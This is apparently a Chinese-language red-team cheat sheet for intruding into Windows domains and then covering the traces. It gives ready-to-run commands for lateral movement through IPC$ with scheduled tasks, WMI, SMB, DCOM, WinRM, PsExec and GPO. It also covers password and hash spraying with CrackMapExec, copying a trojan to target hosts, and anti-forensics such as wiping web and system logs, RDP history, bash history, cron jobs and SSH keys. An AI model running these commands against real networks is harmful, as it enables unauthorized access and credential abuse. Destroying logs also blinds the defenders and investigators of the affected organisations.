目录
- 横向移动
- 漏洞利⽤
- 服务利⽤
- IPC横向+计划任务横向
- 计划任务横向
- WMI横向
- SMB横向
- DCOM横向
- WinRM横向
- PSEXEC横向
- 其他⽅式横向
- 软件部署利⽤
- GPO组策略横向
- 密码喷洒
- 密码策略检查
- 喷洒主机
- 喷洒⽤户名
- 喷洒密码
- 喷洒hash
- 喷洒服务
- 痕迹清除
- OPSEC
- 清除webshell
- 清除隧道⼯具
- 清除落地样本
- 清除WEB⽇志
- tomcat
- WebLogic
- Apache和Nginx
- Jboss和WebSphere
- 清除系统⽇志
- 清除敏感⽬录⽂件
- 清除计划任务
- 清除远程桌⾯连接记录
- 清除登陆⽇志
- 清除操作⽇志
- 清除计划任务
- 清除SSH免密钥登陆
横向移动
在内⽹渗透中,当攻击者获取到内⽹某台机器的控制权后,
会以被攻陷的主机为跳板,通过收集域内凭证等各种⽅法,访问域内其他机器,进⼀步扩⼤资产范围。
通过横向,攻击者最终获得域控制器的访问权限,甚⾄完全控制基于Windows操作系统的整个内⽹环
境,控制域环境下的全部机器。
漏洞利⽤
服务利⽤
IPC横向+计划任务横向
IPC(Internet Process Connection)共享命名管道的资源,是为了实现进程间通信⽽开放的命名管道。
IPC可以通过验证⽤户名和密码获得相应的权限,使⽤139、445端⼝。
利⽤条件:
1、⽬标机开启了139和445端⼝
2、⽬标主机管理员开启了ipc$默认共享
3、知道⽬标机的账户密码
建⽴连接:
shell net use \\192.168.3.142\ipc$ "admin!@#45" /user:sqladmin
执⾏命令:
shell tasklist /S 192.168.3.142 /U sqladmin /P admin!@#45
断开连接:
net use \\192.168.3.142\ipc$ /del
传递⽊⻢:
copy C:\Users\Public\Music\smb.exe \\192.168.3.142\c$
计划任务横向
(at<2012)
at \\191.168.3.144 16:52 C:\Users\Public\Music\smb.exe
(schtasks>=2012)
创建任务
shell schtasks /create /s 192.168.3.142 /ru system /u sqladmin /p admin!@#4
5 /tn transfer /sc DAILY /tr C:\smb.exe /f
运⾏任务
shell schtasks /run /s 192.168.3.142 /u sqladmin /p admin!@#45 /tn transfe
r /i
删除任务
schtasks /delete /s 192.168.3.142 /u sqladmin /p admin!@#45 /tn transfer /f
WMI横向
WMI全称“windows管理规范”,从win2003开始⼀直存在。
它原本的作⽤是⽅便管理员对windows主机进⾏管理。
因此在内⽹渗透中,我们可以使⽤WMI服务进⾏横向移动。
其⽀持⽤户名明⽂或者hash的⽅式进⾏认证,并且该⽅法不会在⽬标⽇志系统留下痕迹。
利⽤条件:
1、WMI服务开启,端⼝135,默认开启。
2、防⽕墙允许135、445等端⼝通信。
3、知道⽬标机的账户密码。
⾃带WMI 明⽂传递 ⽆回显
wmic /node:192.168.3.142 /user:sqladmin /password:admin!@#45 process call create "cmd.exe /c ipconfig >C:\1.txt"
Impacket⼯具包
wmiexec.py proxychains impacket-wmiexec 0day/sqladmin:'admin!@#45'@192.168.3.142
SMB横向
SMB是同⼀⽹络或域上的Windows机器的⽂件、打印机和串⾏端⼝共享协议。
使⽤SMB与⽂件共享进⾏交互,可以在整个⽹络中横向移动。
利⽤SMB服务可以通过明⽂或hash传递来远程执⾏,条件445服务端⼝开放。
利⽤条件:
1、445端⼝开放
2、知道账号密码
proxychains impacket-smbexec 0day/sqladmin:'admin!@#45'@192.168.3.142
DCOM横向
Windows组件对象模型(COM)是原⽣Windows应⽤程序编程接⼝(API)的⼀个组件,它允许软件对
象或实现⼀个或多个接⼝的可执⾏代码之间进⾏交互。通过COM,客户端对象可以调⽤服务器对象的⽅
法,通常是动态链接库(DLL)或可执⾏⽂件(EXE)。
分布式COM(DCOM)是透明的中间件,使⽤远程过程调⽤(RPC)技术将COM的功能扩展到本地计
算机之外。
通过利⽤分布式组件对象模型(DCOM)使⽤有效帐户与远程机器进⾏交互。
默认情况下,只有管理员才能通过DCOM远程激活和启动COM对象。
proxychains impacket-dcomexec 0day/sqladmin:'admin!@#45'@192.168.3.142
WinRM横向
winRm(微软远程管理)是WS-Management协议的实现组件。WinRM是windows操作系统的⼀部分。
是⼀项允许管理员在系统上远程执⾏管理任务的服务,使⽤此服务需要管理员级别的凭据。
通信通过HTTP(5985)或HTTPS SOAP(5986)执⾏,(5986关闭,标识WinRM服务配置为仅接受
HTTP连接)默认情况下⽀持Kerberos和NTLM身份验证以及基本身份验证。
Windows Vista/win7必须⼿动启动,Windows 2008 以上版本默认⾃动状态;
WinRS 适⽤于Windows 2008 以上版本,Windows 2012 之后的版本默认允许远程任意主机来管理。
run winrs -r:OWA2013 -u:dbadmin -p:admin!@#45 "ipconfig"
PSEXEC横向
PsExec 主要⽤于⼤批量 Windows 主机的维护,在域环境下效果尤其好。(因为 PsExec是Windows 提供的⼯具,所以杀毒软件将其列⼊⽩名单中)因为使⽤ PsExec 通过命令⾏环境与⽬标机器建⽴连接,甚⾄控制⽬标机器,⽽不需要通过远程桌⾯(RDP)进⾏图形化的控制。
PsExec 包含在 PsTools⼯具包中,下载地址:https://download.sysinternals.com/files/PSTools.zip
通过 PsExec 可以在远程⽬标主机上执⾏命令,也可以将管理员权限提升到 System 权限以运⾏指定的程序。
PsExec 的基本原理是:
通过管道在远程⽬标主机上创建⼀个psexec 服务,并在本地磁盘中⽣成⼀个名为”PSEXESVC“的⼆进制⽂件,然后通过 psexec 服务运⾏命令,运⾏结束后删除服务。
proxychains impacket-psexec 0day/sqladmin:'admin!@#45'@192.168.3.142
其他⽅式横向
SSH横向
RDP横向
VNC横向
软件部署利⽤
GPO组策略横向
组策略横向组策略(英语:Group Policy)是微软Windows NT家族操作系统的⼀个特性,它可以控制⽤
户帐户和计算机帐户的⼯作环境。
组策略提供了操作系统、应⽤程序和活动⽬录中⽤户设置的集中化管理和配置。
⾃Windows Server 2008开始,GPO组策略对象开始⽀持计划任务,以便于管理域中的计算机和⽤户。
利⽤组策略的计划任务实现横向移动。
步骤:
- 创建⼀个新⽂件夹,在共享中点击⾼级共享,然后选择权限,设置everyone的权限为完全控制
- 在安全中编辑添加everyone的权限为完全控制
- 放置⽊⻢
- 创建组策略
- 创建计划任务
- 等待组策略启⽤,即可上线。(计划任务内可注意触发条件)
密码喷洒
喷洒条件:
域中基本都有相关密码策略,需要注意策略中的错误次数限制以及账号被锁定时间,避免喷洒时账号被锁定。
密码策略检查
proxychains cme smb 192.168.3.142 -u "sqlsvr" -p "Admin12345" --pass-pol
proxychains crackmapexec smb 192.168.3.142 -u "sqlsvr" -p "Admin12345" --pass-pol
账号锁定阈值,是none,则代表没有错误次数限制
账号锁定时间为30分钟
如果有次数限制,则密码字典条数最好⼩于该值,避免被锁定。
喷洒主机
已知道账号和密码,喷洒主机
proxychains -q cme smb 192.168.3.0/24 -u "sqlsvr" -p "Admin12345"
proxychains -q crackmapexec smb 192.168.3.0/24 -u "sqlsvr" -p "Admin12345"
喷洒⽤户名
已知密码,喷洒⽤户名
proxychains -q cme smb 192.168.3.142 -u users.txt -p 'Admin12345'
proxychains -q crackmapexec smb 192.168.3.142 -u users.txt -p 'Admin12345'
喷洒密码
已知⽤户名,喷洒密码
proxychains -q cme smb 192.168.3.142 -u 'administrator' -p top100password.txt
proxychains -q crackmapexec smb 192.168.3.142 -u 'administrator' -p top100password.txt
喷洒hash
已知道账号和hash,喷洒主机
proxychains -q cme smb 192.168.3.0/24 -u "sqlsvr" -H "ccef208c6485269c20db2
cad21734fe7"
proxychains -q crackmapexec smb 192.168.3.0/24 -u "sqlsvr" -H "ccef208c6485269c20db2cad21734fe7"
喷洒服务
proxychains -q cme mssql 192.168.3.0/24 -u sa -p 'admin'
proxychains -q cme rdp 192.168.3.0/24 -u sa -p 'admin'
proxychains -q cme ssh 192.168.3.0/24 -u sa -p 'admin'
proxychains -q cme ldap 192.168.1.0/24 -u user -p password
proxychains -q cme ldap 192.168.1.0/24 -u user -H A29F7623FD11550DEF0192DE9246F46B
痕迹清除
OPSEC
OPSEC,全称为Operations Security,即⾏动安全,也叫作战安全。
最先是美国军队提出的⼀套⾏动纲领,⽤于保障国防机密信息安全,包括⾏动mission、作战单元部署位置和时间、⼈事交易等等。
确定关键信息 -> 分析威胁信息 -> 研究解决措施 -> 评估⻛险矩阵 -> 实施解决⽅案
攻击者画像:
身份信息:
姓名、ID、⼿机号、身份证、⼈物照⽚、公司、学校、团队等
社交信息:
QQ、微信、⽀付宝、邮箱、微博、昵称id等
位置信息:
地理位置、公司位置、攻击位置等
资产信息:
攻击IP、攻击域名、C2地址、跳板机IP等
样本信息:
攻击样本、攻击⼿法、C2地址
清除webshell
caidao
weevely
antSword
rebeyond
Godzilla
清除隧道⼯具
Icmpsh
Pingtunnel
EarthWorm
Venom
Stowaway
Frp
Udp2raw
DnsCat2 && Dnscat2-Powrshell
Tunna
reGeog&&Neo-reGeorg
abptts
清除落地样本
清除落地样本,避免捕获分析、免杀失效、被狩猎和攻击劫持。
清除WEB⽇志
tomcat
tomcat ⽇志信息分为两类:
⼀是运⾏中的⽇志,它主要记录运⾏的⼀些信息,尤其是⼀些异常错误⽇志信息 。
⼆是访问⽇志信息,它记录的访问的时间,IP ,访问的资料等相关信息。
记录系统启、关闭⽇志、管理⽇志和异常信息:
conf/logging.properties tomcat的⽇志配置
logs/catalina.xx.log
logs/host-manager.xx.log
logs/localhost.xx.log
logs/manager.xx.log
WebLogic
默认配置情况下,WebLogic会有三种⽇志,分别是access log, Server log和domain log
WebLogic 9及以后版本:
access log在 $MW_HOME\user_projects\domains\<domain_name>\servers\<server_name>\logs\access.log
server log在 $MW_HOME\user_projects\domains\<domain_name>\servers\<server_name>\logs\<server_name>.log
domain log在 $MW_HOME\user_projects\domains\<domain_name>\servers\<adminserver_name>\logs\<domain_name>.log
WebLogic 8.x 版本:
access log在 $MW_HOME\user_projects\domains\<domain_name>\<server_name>\access.log
server log在 $MW_HOME\user_projects\domains\<domain_name>\<server_name>\<server_name>.log
domain log在 $MW_HOME\user_projects\domains\<domain_name>\<domain_name>.log
Apache和Nginx
Apache安装路径:%Apache_home%
默认路径:%Apache_home%\logs\access.log
Nginx安装路径假设:%Nginx_home%
配置⽂件nginx.conf中配置⽇志路径如:access_log logs/access.log main
访问⽇志默认路径:%Nginx_home%\logs\access.log
Jboss和WebSphere
Jboss的配置⽂件和⽇志⽂件jboss-log4j.xml:
如:server/XXX/conf/jboss-log4j.xml server/XXX/log/server.log
WebSphere的默认路径:
IBM\WebSphere\AppServer\profiles\AppSrv01\logs\server1\SystemOut.log
清除系统⽇志
安全⽇志⽂件:%systemroot%\system32\config\SecEvent.EVT;
系统⽇志⽂件:%systemroot%\system32\config\SysEvent.EVT;
应⽤程序⽇志件:%systemroot%\system32\config\AppEvent.EVT;
DNS⽇志:%systemroot%\system32\config\DnsEvent.EVT;
删除指定记录的⽇志:
https://github.com/QAX-A-Team/EventCleaner
清除敏感⽬录⽂件
C:\Windows\Temp
C:\Users\All Users\
C:\ProgramData\
C:\Users\Admin\AppData\Local\Temp\
C:\Users\ Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
清除计划任务
清除远程桌⾯连接记录
@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\attrib Default.rdp -s -h
del Default.rdp
清除登陆⽇志
/var/log/wtmp 记录所有⽤户最近登陆信息,⽤last命令查看
/var/log/lastlog 记录⽤户最后⼀次登录的信息,⽤lastlog命令查看
/var/log/btmp 记录登录系统失败的⽤户信息,⽤lastb命令查看
/var/log/utmp 记录当前正登录的⽤户及其执⾏信息,⽤who或w命令查看
/var/log/message 记录系统重要信息(异常错误等)信息
/var/log/secure 记录安全相关:验证授权,账号密码信息,如ssh登陆su切换sudo授权
/var/log/cron 记录定时任务执⾏相关的⽇志信息
/var/log/auth.log 包含系统授权信息,包括⽤户登录和使⽤的权限机制等
/var/log/userlog 记录所有等级⽤户信息的⽇志
清除操作⽇志
rm -rf .bash_history
history -c
清除计划任务
1、查看任务:crontab –l 或 cat /etc/crontab 或 more /etc/crontab
2、查询⽤户的任务:crontab -u root –l
3、删除⽤户的任务:crontab –u root –r
4、编辑⽤户的任务:crontab –u root –e
5、其他定时任务⽬录⽂件:
/etc/cron.d/* //存放系统级任务的任务⽂件
/etc/cron.hourly/* //存放每⼩时任务
/etc/cron.daily/* //存放每⽇任务
/etc/cron.weekly/* //存放每周任务
/etc/cron.monthly/* //存放每⽉任务
/etc/anacrontab //存放系统级的任务
/var/spool/cron/* //放各个⽤户的任务⽂件
6、计划任务的⽇志:/var/log/cron*
清除SSH免密钥登陆
rm -rf .ssh/